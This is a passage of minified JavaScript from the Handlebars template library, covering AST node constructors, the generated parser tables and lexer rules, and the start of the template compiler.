g,h;3===arguments.length?(f=d,d=null):2===arguments.length&&(f=c,c=null),b.call(this,f),this.type="program",this.statements=a,this.strip={},d?(h=d[0],h?(g={first_line:h.firstLine,last_line:h.lastLine,last_column:h.lastColumn,first_column:h.firstColumn},this.inverse=new e.ProgramNode(d,c,g)):this.inverse=new e.ProgramNode(d,c),this.strip.right=c.left):c&&(this.strip.left=c.right)},MustacheNode:function(a,c,d,f,g){if(b.call(this,g),this.type="mustache",this.strip=f,null!=d&&d.charAt){var h=d.charAt(3)||d.charAt(2);this.escaped="{"!==h&&"&"!==h}else this.escaped=!!d;this.sexpr=a instanceof e.SexprNode?a:new e.SexprNode(a,c),this.sexpr.isRoot=!0,this.id=this.sexpr.id,this.params=this.sexpr.params,this.hash=this.sexpr.hash,this.eligibleHelper=this.sexpr.eligibleHelper,this.isHelper=this.sexpr.isHelper},SexprNode:function(a,c,d){b.call(this,d),this.type="sexpr",this.hash=c;var e=this.id=a[0],f=this.params=a.slice(1);this.isHelper=!(!f.length&&!c),this.eligibleHelper=this.isHelper||e.isSimple},PartialNode:function(a,c,d,e,f){b.call(this,f),this.type="partial",this.partialName=a,this.context=c,this.hash=d,this.strip=e},BlockNode:function(a,c,e,f,g){if(b.call(this,g),a.sexpr.id.original!==f.path.original)throw new d(a.sexpr.id.original+" doesn't match "+f.path.original,this);this.type="block",this.mustache=a,this.program=c,this.inverse=e,this.strip={left:a.strip.left,right:f.strip.right},(c||e).strip.left=a.strip.right,(e||c).strip.right=f.strip.left,e&&!c&&(this.isInverse=!0)},RawBlockNode:function(a,c,f,g){if(b.call(this,g),a.sexpr.id.original!==f)throw new d(a.sexpr.id.original+" doesn't match "+f,this);c=new e.ContentNode(c,g),this.type="block",this.mustache=a,this.program=new e.ProgramNode([c],g)},ContentNode:function(a,c){b.call(this,c),this.type="content",this.string=a},HashNode:function(a,c){b.call(this,c),this.type="hash",this.pairs=a},IdNode:function(a,c){b.call(this,c),this.type="ID";for(var e="",f=[],g=0,h="",i=0,j=a.length;j>i;i++){var k=a[i].part;if(e+=(a[i].separator||"")+k,".."===k||"."===k||"this"===k){if(f.length>0)throw new d("Invalid path: "+e,this);".."===k?(g++,h+="../"):this.isScoped=!0}else f.push(k)}this.original=e,this.parts=f,this.string=f.join("."),this.depth=g,this.idName=h+this.string,this.isSimple=1===a.length&&!this.isScoped&&0===g,this.stringModeValue=this.string},PartialNameNode:function(a,c){b.call(this,c),this.type="PARTIAL_NAME",this.name=a.original},DataNode:function(a,c){b.call(this,c),this.type="DATA",this.id=a,this.stringModeValue=a.stringModeValue,this.idName="@"+a.stringModeValue},StringNode:function(a,c){b.call(this,c),this.type="STRING",this.original=this.string=this.stringModeValue=a},NumberNode:function(a,c){b.call(this,c),this.type="NUMBER",this.original=this.number=a,this.stringModeValue=Number(a)},BooleanNode:function(a,c){b.call(this,c),this.type="BOOLEAN",this.bool=a,this.stringModeValue="true"===a},CommentNode:function(a,c){b.call(this,c),this.type="comment",this.comment=a}};return c=e}(c),h=function(){"use strict";var a,b=function(){function a(a,b){return{left:"~"===a.charAt(2),right:"~"===b.charAt(0)||"~"===b.charAt(1)}}function b(){this.yy={}}var c={trace:function(){},yy:{},symbols_:{error:2,root:3,statements:4,EOF:5,program:6,simpleInverse:7,statement:8,openRawBlock:9,CONTENT:10,END_RAW_BLOCK:11,openInverse:12,closeBlock:13,openBlock:14,mustache:15,partial:16,COMMENT:17,OPEN_RAW_BLOCK:18,sexpr:19,CLOSE_RAW_BLOCK:20,OPEN_BLOCK:21,CLOSE:22,OPEN_INVERSE:23,OPEN_ENDBLOCK:24,path:25,OPEN:26,OPEN_UNESCAPED:27,CLOSE_UNESCAPED:28,OPEN_PARTIAL:29,partialName:30,param:31,partial_option0:32,partial_option1:33,sexpr_repetition0:34,sexpr_option0:35,dataName:36,STRING:37,NUMBER:38,BOOLEAN:39,OPEN_SEXPR:40,CLOSE_SEXPR:41,hash:42,hash_repetition_plus0:43,hashSegment:44,ID:45,EQUALS:46,DATA:47,pathSegments:48,SEP:49,$accept:0,$end:1},terminals_:{2:"error",5:"EOF",10:"CONTENT",11:"END_RAW_BLOCK",17:"COMMENT",18:"OPEN_RAW_BLOCK",20:"CLOSE_RAW_BLOCK",21:"OPEN_BLOCK",22:"CLOSE",23:"OPEN_INVERSE",24:"OPEN_ENDBLOCK",26:"OPEN",27:"OPEN_UNESCAPED",28:"CLOSE_UNESCAPED",29:"OPEN_PARTIAL",37:"STRING",38:"NUMBER",39:"BOOLEAN",40:"OPEN_SEXPR",41:"CLOSE_SEXPR",45:"ID",46:"EQUALS",47:"DATA",49:"SEP"},productions_:[0,[3,2],[3,1],[6,2],[6,3],[6,2],[6,1],[6,1],[6,0],[4,1],[4,2],[8,3],[8,3],[8,3],[8,1],[8,1],[8,1],[8,1],[9,3],[14,3],[12,3],[13,3],[15,3],[15,3],[16,5],[16,4],[7,2],[19,3],[19,1],[31,1],[31,1],[31,1],[31,1],[31,1],[31,3],[42,1],[44,3],[30,1],[30,1],[30,1],[36,2],[25,1],[48,3],[48,1],[32,0],[32,1],[33,0],[33,1],[34,0],[34,2],[35,0],[35,1],[43,1],[43,2]],performAction:function(b,c,d,e,f,g){var h=g.length-1;switch(f){case 1:return new e.ProgramNode(g[h-1],this._$);case 2:return new e.ProgramNode([],this._$);case 3:this.$=new e.ProgramNode([],g[h-1],g[h],this._$);break;case 4:this.$=new e.ProgramNode(g[h-2],g[h-1],g[h],this._$);break;case 5:this.$=new e.ProgramNode(g[h-1],g[h],[],this._$);break;case 6:this.$=new e.ProgramNode(g[h],this._$);break;case 7:this.$=new e.ProgramNode([],this._$);break;case 8:this.$=new e.ProgramNode([],this._$);break;case 9:this.$=[g[h]];break;case 10:g[h-1].push(g[h]),this.$=g[h-1];break;case 11:this.$=new e.RawBlockNode(g[h-2],g[h-1],g[h],this._$);break;case 12:this.$=new e.BlockNode(g[h-2],g[h-1].inverse,g[h-1],g[h],this._$);break;case 13:this.$=new e.BlockNode(g[h-2],g[h-1],g[h-1].inverse,g[h],this._$);break;case 14:this.$=g[h];break;case 15:this.$=g[h];break;case 16:this.$=new e.ContentNode(g[h],this._$);break;case 17:this.$=new e.CommentNode(g[h],this._$);break;case 18:this.$=new e.MustacheNode(g[h-1],null,"","",this._$);break;case 19:this.$=new e.MustacheNode(g[h-1],null,g[h-2],a(g[h-2],g[h]),this._$);break;case 20:this.$=new e.MustacheNode(g[h-1],null,g[h-2],a(g[h-2],g[h]),this._$);break;case 21:this.$={path:g[h-1],strip:a(g[h-2],g[h])};break;case 22:this.$=new e.MustacheNode(g[h-1],null,g[h-2],a(g[h-2],g[h]),this._$);break;case 23:this.$=new e.MustacheNode(g[h-1],null,g[h-2],a(g[h-2],g[h]),this._$);break;case 24:this.$=new e.PartialNode(g[h-3],g[h-2],g[h-1],a(g[h-4],g[h]),this._$);break;case 25:this.$=new e.PartialNode(g[h-2],void 0,g[h-1],a(g[h-3],g[h]),this._$);break;case 26:this.$=a(g[h-1],g[h]);break;case 27:this.$=new e.SexprNode([g[h-2]].concat(g[h-1]),g[h],this._$);break;case 28:this.$=new e.SexprNode([g[h]],null,this._$);break;case 29:this.$=g[h];break;case 30:this.$=new e.StringNode(g[h],this._$);break;case 31:this.$=new e.NumberNode(g[h],this._$);break;case 32:this.$=new e.BooleanNode(g[h],this._$);break;case 33:this.$=g[h];break;case 34:g[h-1].isHelper=!0,this.$=g[h-1];break;case 35:this.$=new e.HashNode(g[h],this._$);break;case 36:this.$=[g[h-2],g[h]];break;case 37:this.$=new e.PartialNameNode(g[h],this._$);break;case 38:this.$=new e.PartialNameNode(new e.StringNode(g[h],this._$),this._$);break;case 39:this.$=new e.PartialNameNode(new e.NumberNode(g[h],this._$));break;case 40:this.$=new e.DataNode(g[h],this._$);break;case 41:this.$=new e.IdNode(g[h],this._$);break;case 42:g[h-2].push({part:g[h],separator:g[h-1]}),this.$=g[h-2];break;case 43:this.$=[{part:g[h]}];break;case 48:this.$=[];break;case 49:g[h-1].push(g[h]);break;case 52:this.$=[g[h]];break;case 53:g[h-1].push(g[h])}},table:[{3:1,4:2,5:[1,3],8:4,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,13],26:[1,15],27:[1,16],29:[1,17]},{1:[3]},{5:[1,18],8:19,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,13],26:[1,15],27:[1,16],29:[1,17]},{1:[2,2]},{5:[2,9],10:[2,9],17:[2,9],18:[2,9],21:[2,9],23:[2,9],24:[2,9],26:[2,9],27:[2,9],29:[2,9]},{10:[1,20]},{4:23,6:21,7:22,8:4,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,24],24:[2,8],26:[1,15],27:[1,16],29:[1,17]},{4:23,6:25,7:22,8:4,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,24],24:[2,8],26:[1,15],27:[1,16],29:[1,17]},{5:[2,14],10:[2,14],17:[2,14],18:[2,14],21:[2,14],23:[2,14],24:[2,14],26:[2,14],27:[2,14],29:[2,14]},{5:[2,15],10:[2,15],17:[2,15],18:[2,15],21:[2,15],23:[2,15],24:[2,15],26:[2,15],27:[2,15],29:[2,15]},{5:[2,16],10:[2,16],17:[2,16],18:[2,16],21:[2,16],23:[2,16],24:[2,16],26:[2,16],27:[2,16],29:[2,16]},{5:[2,17],10:[2,17],17:[2,17],18:[2,17],21:[2,17],23:[2,17],24:[2,17],26:[2,17],27:[2,17],29:[2,17]},{19:26,25:27,36:28,45:[1,31],47:[1,30],48:29},{19:32,25:27,36:28,45:[1,31],47:[1,30],48:29},{19:33,25:27,36:28,45:[1,31],47:[1,30],48:29},{19:34,25:27,36:28,45:[1,31],47:[1,30],48:29},{19:35,25:27,36:28,45:[1,31],47:[1,30],48:29},{25:37,30:36,37:[1,38],38:[1,39],45:[1,31],48:29},{1:[2,1]},{5:[2,10],10:[2,10],17:[2,10],18:[2,10],21:[2,10],23:[2,10],24:[2,10],26:[2,10],27:[2,10],29:[2,10]},{11:[1,40]},{13:41,24:[1,42]},{4:43,8:4,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,13],24:[2,7],26:[1,15],27:[1,16],29:[1,17]},{7:44,8:19,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,24],24:[2,6],26:[1,15],27:[1,16],29:[1,17]},{19:32,22:[1,45],25:27,36:28,45:[1,31],47:[1,30],48:29},{13:46,24:[1,42]},{20:[1,47]},{20:[2,48],22:[2,48],28:[2,48],34:48,37:[2,48],38:[2,48],39:[2,48],40:[2,48],41:[2,48],45:[2,48],47:[2,48]},{20:[2,28],22:[2,28],28:[2,28],41:[2,28]},{20:[2,41],22:[2,41],28:[2,41],37:[2,41],38:[2,41],39:[2,41],40:[2,41],41:[2,41],45:[2,41],47:[2,41],49:[1,49]},{25:50,45:[1,31],48:29},{20:[2,43],22:[2,43],28:[2,43],37:[2,43],38:[2,43],39:[2,43],40:[2,43],41:[2,43],45:[2,43],47:[2,43],49:[2,43]},{22:[1,51]},{22:[1,52]},{22:[1,53]},{28:[1,54]},{22:[2,46],25:57,31:55,33:56,36:61,37:[1,58],38:[1,59],39:[1,60],40:[1,62],42:63,43:64,44:66,45:[1,65],47:[1,30],48:29},{22:[2,37],37:[2,37],38:[2,37],39:[2,37],40:[2,37],45:[2,37],47:[2,37]},{22:[2,38],37:[2,38],38:[2,38],39:[2,38],40:[2,38],45:[2,38],47:[2,38]},{22:[2,39],37:[2,39],38:[2,39],39:[2,39],40:[2,39],45:[2,39],47:[2,39]},{5:[2,11],10:[2,11],17:[2,11],18:[2,11],21:[2,11],23:[2,11],24:[2,11],26:[2,11],27:[2,11],29:[2,11]},{5:[2,12],10:[2,12],17:[2,12],18:[2,12],21:[2,12],23:[2,12],24:[2,12],26:[2,12],27:[2,12],29:[2,12]},{25:67,45:[1,31],48:29},{8:19,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,13],24:[2,3],26:[1,15],27:[1,16],29:[1,17]},{4:68,8:4,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,13],24:[2,5],26:[1,15],27:[1,16],29:[1,17]},{10:[2,26],17:[2,26],18:[2,26],21:[2,26],23:[2,26],24:[2,26],26:[2,26],27:[2,26],29:[2,26]},{5:[2,13],10:[2,13],17:[2,13],18:[2,13],21:[2,13],23:[2,13],24:[2,13],26:[2,13],27:[2,13],29:[2,13]},{10:[2,18]},{20:[2,50],22:[2,50],25:57,28:[2,50],31:70,35:69,36:61,37:[1,58],38:[1,59],39:[1,60],40:[1,62],41:[2,50],42:71,43:64,44:66,45:[1,65],47:[1,30],48:29},{45:[1,72]},{20:[2,40],22:[2,40],28:[2,40],37:[2,40],38:[2,40],39:[2,40],40:[2,40],41:[2,40],45:[2,40],47:[2,40]},{10:[2,20],17:[2,20],18:[2,20],21:[2,20],23:[2,20],24:[2,20],26:[2,20],27:[2,20],29:[2,20]},{10:[2,19],17:[2,19],18:[2,19],21:[2,19],23:[2,19],24:[2,19],26:[2,19],27:[2,19],29:[2,19]},{5:[2,22],10:[2,22],17:[2,22],18:[2,22],21:[2,22],23:[2,22],24:[2,22],26:[2,22],27:[2,22],29:[2,22]},{5:[2,23],10:[2,23],17:[2,23],18:[2,23],21:[2,23],23:[2,23],24:[2,23],26:[2,23],27:[2,23],29:[2,23]},{22:[2,44],32:73,42:74,43:64,44:66,45:[1,75]},{22:[1,76]},{20:[2,29],22:[2,29],28:[2,29],37:[2,29],38:[2,29],39:[2,29],40:[2,29],41:[2,29],45:[2,29],47:[2,29]},{20:[2,30],22:[2,30],28:[2,30],37:[2,30],38:[2,30],39:[2,30],40:[2,30],41:[2,30],45:[2,30],47:[2,30]},{20:[2,31],22:[2,31],28:[2,31],37:[2,31],38:[2,31],39:[2,31],40:[2,31],41:[2,31],45:[2,31],47:[2,31]},{20:[2,32],22:[2,32],28:[2,32],37:[2,32],38:[2,32],39:[2,32],40:[2,32],41:[2,32],45:[2,32],47:[2,32]},{20:[2,33],22:[2,33],28:[2,33],37:[2,33],38:[2,33],39:[2,33],40:[2,33],41:[2,33],45:[2,33],47:[2,33]},{19:77,25:27,36:28,45:[1,31],47:[1,30],48:29},{22:[2,47]},{20:[2,35],22:[2,35],28:[2,35],41:[2,35],44:78,45:[1,75]},{20:[2,43],22:[2,43],28:[2,43],37:[2,43],38:[2,43],39:[2,43],40:[2,43],41:[2,43],45:[2,43],46:[1,79],47:[2,43],49:[2,43]},{20:[2,52],22:[2,52],28:[2,52],41:[2,52],45:[2,52]},{22:[1,80]},{8:19,9:5,10:[1,10],12:6,14:7,15:8,16:9,17:[1,11],18:[1,12],21:[1,14],23:[1,13],24:[2,4],26:[1,15],27:[1,16],29:[1,17]},{20:[2,27],22:[2,27],28:[2,27],41:[2,27]},{20:[2,49],22:[2,49],28:[2,49],37:[2,49],38:[2,49],39:[2,49],40:[2,49],41:[2,49],45:[2,49],47:[2,49]},{20:[2,51],22:[2,51],28:[2,51],41:[2,51]},{20:[2,42],22:[2,42],28:[2,42],37:[2,42],38:[2,42],39:[2,42],40:[2,42],41:[2,42],45:[2,42],47:[2,42],49:[2,42]},{22:[1,81]},{22:[2,45]},{46:[1,79]},{5:[2,25],10:[2,25],17:[2,25],18:[2,25],21:[2,25],23:[2,25],24:[2,25],26:[2,25],27:[2,25],29:[2,25]},{41:[1,82]},{20:[2,53],22:[2,53],28:[2,53],41:[2,53],45:[2,53]},{25:57,31:83,36:61,37:[1,58],38:[1,59],39:[1,60],40:[1,62],45:[1,31],47:[1,30],48:29},{5:[2,21],10:[2,21],17:[2,21],18:[2,21],21:[2,21],23:[2,21],24:[2,21],26:[2,21],27:[2,21],29:[2,21]},{5:[2,24],10:[2,24],17:[2,24],18:[2,24],21:[2,24],23:[2,24],24:[2,24],26:[2,24],27:[2,24],29:[2,24]},{20:[2,34],22:[2,34],28:[2,34],37:[2,34],38:[2,34],39:[2,34],40:[2,34],41:[2,34],45:[2,34],47:[2,34]},{20:[2,36],22:[2,36],28:[2,36],41:[2,36],45:[2,36]}],defaultActions:{3:[2,2],18:[2,1],47:[2,18],63:[2,47],74:[2,45]},parseError:function(a){throw new Error(a)},parse:function(a){function b(){var a;return a=c.lexer.lex()||1,"number"!=typeof a&&(a=c.symbols_[a]||a),a}var c=this,d=[0],e=[null],f=[],g=this.table,h="",i=0,j=0,k=0;this.lexer.setInput(a),this.lexer.yy=this.yy,this.yy.lexer=this.lexer,this.yy.parser=this,"undefined"==typeof this.lexer.yylloc&&(this.lexer.yylloc={});var l=this.lexer.yylloc;f.push(l);var m=this.lexer.options&&this.lexer.options.ranges;"function"==typeof this.yy.parseError&&(this.parseError=this.yy.parseError);for(var n,o,p,q,r,s,t,u,v,w={};;){if(p=d[d.length-1],this.defaultActions[p]?q=this.defaultActions[p]:((null===n||"undefined"==typeof n)&&(n=b()),q=g[p]&&g[p][n]),"undefined"==typeof q||!q.length||!q[0]){var x="";if(!k){v=[];for(s in g[p])this.terminals_[s]&&s>2&&v.push("'"+this.terminals_[s]+"'");x=this.lexer.showPosition?"Parse error on line "+(i+1)+":\n"+this.lexer.showPosition()+"\nExpecting "+v.join(", ")+", got '"+(this.terminals_[n]||n)+"'":"Parse error on line "+(i+1)+": Unexpected "+(1==n?"end of input":"'"+(this.terminals_[n]||n)+"'"),this.parseError(x,{text:this.lexer.match,token:this.terminals_[n]||n,line:this.lexer.yylineno,loc:l,expected:v})}}if(q[0]instanceof Array&&q.length>1)throw new Error("Parse Error: multiple actions possible at state: "+p+", token: "+n);switch(q[0]){case 1:d.push(n),e.push(this.lexer.yytext),f.push(this.lexer.yylloc),d.push(q[1]),n=null,o?(n=o,o=null):(j=this.lexer.yyleng,h=this.lexer.yytext,i=this.lexer.yylineno,l=this.lexer.yylloc,k>0&&k--);break;case 2:if(t=this.productions_[q[1]][1],w.$=e[e.length-t],w._$={first_line:f[f.length-(t||1)].first_line,last_line:f[f.length-1].last_line,first_column:f[f.length-(t||1)].first_column,last_column:f[f.length-1].last_column},m&&(w._$.range=[f[f.length-(t||1)].range[0],f[f.length-1].range[1]]),r=this.performAction.call(w,h,j,i,this.yy,q[1],e,f),"undefined"!=typeof r)return r;t&&(d=d.slice(0,-1*t*2),e=e.slice(0,-1*t),f=f.slice(0,-1*t)),d.push(this.productions_[q[1]][0]),e.push(w.$),f.push(w._$),u=g[d[d.length-2]][d[d.length-1]],d.push(u);break;case 3:return!0}}return!0}},d=function(){var a={EOF:1,parseError:function(a,b){if(!this.yy.parser)throw new Error(a);this.yy.parser.parseError(a,b)},setInput:function(a){return this._input=a,this._more=this._less=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var a=this._input[0];this.yytext+=a,this.yyleng++,this.offset++,this.match+=a,this.matched+=a;var b=a.match(/(?:\r\n?|\n).*/g);return b?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),a},unput:function(a){var b=a.length,c=a.split(/(?:\r\n?|\n)/g);this._input=a+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-b-1),this.offset-=b;var d=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),c.length-1&&(this.yylineno-=c.length-1);var e=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:c?(c.length===d.length?this.yylloc.first_column:0)+d[d.length-c.length].length-c[0].length:this.yylloc.first_column-b},this.options.ranges&&(this.yylloc.range=[e[0],e[0]+this.yyleng-b]),this},more:function(){return this._more=!0,this},less:function(a){this.unput(this.match.slice(a))},pastInput:function(){var a=this.matched.substr(0,this.matched.length-this.match.length);return(a.length>20?"...":"")+a.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var a=this.match;return a.length<20&&(a+=this._input.substr(0,20-a.length)),(a.substr(0,20)+(a.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var a=this.pastInput(),b=new Array(a.length+1).join("-");return a+this.upcomingInput()+"\n"+b+"^"},next:function(){if(this.done)return this.EOF;this._input||(this.done=!0);var a,b,c,d,e;this._more||(this.yytext="",this.match="");for(var f=this._currentRules(),g=0;g<f.length&&(c=this._input.match(this.rules[f[g]]),!c||b&&!(c[0].length>b[0].length)||(b=c,d=g,this.options.flex));g++);return b?(e=b[0].match(/(?:\r\n?|\n).*/g),e&&(this.yylineno+=e.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:e?e[e.length-1].length-e[e.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+b[0].length},this.yytext+=b[0],this.match+=b[0],this.matches=b,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._input=this._input.slice(b[0].length),this.matched+=b[0],a=this.performAction.call(this,this.yy,this,f[d],this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),a?a:void 0):""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var a=this.next();return"undefined"!=typeof a?a:this.lex()},begin:function(a){this.conditionStack.push(a)},popState:function(){return this.conditionStack.pop()},_currentRules:function(){return this.conditions[this.conditionStack[this.conditionStack.length-1]].rules},topState:function(){return this.conditionStack[this.conditionStack.length-2]},pushState:function(a){this.begin(a)}};return a.options={},a.performAction=function(a,b,c,d){function e(a,c){return b.yytext=b.yytext.substr(a,b.yyleng-c)}switch(c){case 0:if("\\\\"===b.yytext.slice(-2)?(e(0,1),this.begin("mu")):"\\"===b.yytext.slice(-1)?(e(0,1),this.begin("emu")):this.begin("mu"),b.yytext)return 10;break;case 1:return 10;case 2:return this.popState(),10;case 3:return b.yytext=b.yytext.substr(5,b.yyleng-9),this.popState(),11;case 4:return 10;case 5:return e(0,4),this.popState(),17;case 6:return 40;case 7:return 41;case 8:return 18;case 9:return this.popState(),this.begin("raw"),20;case 10:return b.yytext=b.yytext.substr(4,b.yyleng-8),this.popState(),"RAW_BLOCK";case 11:return 29;case 12:return 21;case 13:return 24;case 14:return 23;case 15:return 23;case 16:return 27;case 17:return 26;case 18:this.popState(),this.begin("com");break;case 19:return e(3,5),this.popState(),17;case 20:return 26;case 21:return 46;case 22:return 45;case 23:return 45;case 24:return 49;case 25:break;case 26:return this.popState(),28;case 27:return this.popState(),22;case 28:return b.yytext=e(1,2).replace(/\\"/g,'"'),37;case 29:return b.yytext=e(1,2).replace(/\\'/g,"'"),37;case 30:return 47;case 31:return 39;case 32:return 39;case 33:return 38;case 34:return 45;case 35:return b.yytext=e(1,2),45;case 36:return"INVALID";case 37:return 5}},a.rules=[/^(?:[^\x00]*?(?=(\{\{)))/,/^(?:[^\x00]+)/,/^(?:[^\x00]{2,}?(?=(\{\{|\\\{\{|\\\\\{\{|$)))/,/^(?:\{\{\{\{\/[^\s!"#%-,\.\/;->@\[-\^`\{-~]+(?=[=}\s\/.])\}\}\}\})/,/^(?:[^\x00]*?(?=(\{\{\{\{\/)))/,/^(?:[\s\S]*?--\}\})/,/^(?:\()/,/^(?:\))/,/^(?:\{\{\{\{)/,/^(?:\}\}\}\})/,/^(?:\{\{\{\{[^\x00]*\}\}\}\})/,/^(?:\{\{(~)?>)/,/^(?:\{\{(~)?#)/,/^(?:\{\{(~)?\/)/,/^(?:\{\{(~)?\^)/,/^(?:\{\{(~)?\s*else\b)/,/^(?:\{\{(~)?\{)/,/^(?:\{\{(~)?&)/,/^(?:\{\{!--)/,/^(?:\{\{![\s\S]*?\}\})/,/^(?:\{\{(~)?)/,/^(?:=)/,/^(?:\.\.)/,/^(?:\.(?=([=~}\s\/.)])))/,/^(?:[\/.])/,/^(?:\s+)/,/^(?:\}(~)?\}\})/,/^(?:(~)?\}\})/,/^(?:"(\\["]|[^"])*")/,/^(?:'(\\[']|[^'])*')/,/^(?:@)/,/^(?:true(?=([~}\s)])))/,/^(?:false(?=([~}\s)])))/,/^(?:-?[0-9]+(?:\.[0-9]+)?(?=([~}\s)])))/,/^(?:([^\s!"#%-,\.\/;->@\[-\^`\{-~]+(?=([=~}\s\/.)]))))/,/^(?:\[[^\]]*\])/,/^(?:.)/,/^(?:$)/],a.conditions={mu:{rules:[6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],inclusive:!1},emu:{rules:[2],inclusive:!1},com:{rules:[5],inclusive:!1},raw:{rules:[3,4],inclusive:!1},INITIAL:{rules:[0,1,37],inclusive:!0}},a}();return c.lexer=d,b.prototype=c,c.Parser=b,new b}();return a=b}(),i=function(a,b){"use strict";function c(a){return a.constructor===f.ProgramNode?a:(e.yy=f,e.parse(a))}var d={},e=a,f=b;return d.parser=e,d.parse=c,d}(h,g),j=function(a){"use strict";function b(){}function c(a,b,c){if(null==a||"string"!=typeof a&&a.constructor!==c.AST.ProgramNode)throw new f("You must pass a string or Handlebars AST to Handlebars.precompile. You passed "+a);b=b||{},"data"in b||(b.data=!0);var d=c.parse(a),e=(new c.Compiler).compile(d,b);return(new c.JavaScriptCompiler).compile(e,b)}function d(a,b,c){function d(){var d=c.parse(a),e=(new c.Compiler).compile(d,b),f=(new c.JavaScriptCompiler).compile(e,b,void 0,!0);return c.template(f)}if(null==a||"string"!=typeof a&&a.constructor!==c.AST.ProgramNode)throw new f("You must pass a string or Handlebars AST to Handlebars.compile. You passed "+a);b=b||{},"data"in b||(b.data=!0);var e,g=function(a,b){return e||(e=d()),e.call(this,a,b)};return g._setup=function(a){return e||(e=d()),e._setup(a)},g._child=function(a){return e||(e=d()),e._child(a)},g}var e={},f=a;return e.Compiler=b,b.prototype={compiler:b,disassemble:function(){for(var a,b,c,d=this.opcodes,e=[],f=0,g=d.length;g>f;f++)if(a=d[f],"DECLARE"===a.opcode)e.push("DECLARE "+a.name+"="+a.value);else{b=[];for(var h=0;h<a.args.length;h++)c=a.args[h],"string"==typeof c&&(c='"'+c.replace("\n","\\n")+'"'),b.push(c);e.push(a.opcode+" "+b.join(" "))}return e.join("\n")},equals:function(a){var b=this.opcodes.length;if(a.opcodes.length!==b)return!1;for(var c=0;b>c;c++){var d=this.opcodes[c],e=a.opcodes[c];if(d.opcode!==e.opcode||d.args.length!==e.args.length)return!1;for(var f=0;f<d.args.length;f++)if(d.args[f]!==e.args[f])return!1}if(b=this.children.length,a.children.length!==b)return!1;for(c=0;b>c;c++)if(!this.children[c].equals(a.children[c]))return!1;return!0},guid:0,compile:function(a,b){this.opcodes=[],this.children=[],this.depths={list:[]},this.options=b,this.stringParams=b.stringParams,this.trackIds=b.trackIds;var c=this.options.knownHelpers;if(this.options.knownHelpers={helperMissing:!0,blockHelperMissing:!0,each:!0,"if":!0,unless:!0,"with":!0,log:!0,lookup:!0},c)for(var d in c)this.options.knownHelpers[d]=c[d];return this.accept(a)},accept:function(a){var b,c=a.strip||{};return c.left&&this.opcode("strip"),b=this[a.type](a),c.right&&this.opcode("strip"),b},program:function(a){for(var b=a.statements,c=0,d=b.length;d>c;c++)this.accept(b[c]);return this.isSimple=1===d,this.depths.list=this.depths.list.sort(function(a,b){return a-b}),this},compileProgram:function(a){var b,c=(new this.compiler).compile(a,this.options),d=this.guid++;this.usePartial=this.usePartial||c.usePartial,this.children[d]=c;for(var e=0,f=c.depths.list.length;f>e;e++)b=c.depths.list[e],2>b||this.addDepth(b-1);return d},block:function(a){var b=a.mustache,c=a.program,d=a.inverse;c&&(c=this.compileProgram(c)),d&&(d=this.compileProgram(d));var e=b.sexpr,f=this.classifySexpr(e);"helper"===f?this.helperSexpr(e,c,d):"simple"===f?(this.simpleSexpr(e),this.opcode("pushProgram",c),this.opcode("pushProgram",d),this.opcode("emptyHash"),this.opcode("blockValue",e.id.original)):(this.ambiguousSexpr(e,c,d),this.opcode("pushProgram",c),this.opcode("pushProgram",d),this.opcode("emptyHash"),this.opcode("ambiguousBlockValue")),this.opcode("append")},hash:function(a){var b,c,d=a.pairs;for(this.opcode("pushHash"),b=0,c=d.length;c>b;b++)this.pushParam(d[b][1]);for(;b--;)this.opcode("assignToHash",d[b][0]);this.opcode("popHash")},partial:function(a){var b=a.partialName;this.usePartial=!0,a.hash?this.accept(a.hash):this.opcode("push","undefined"),a.context?this.accept(a.context):this.opcode("push","depth0"),this.opcode("invokePartial",b.name),this.opcode("append")
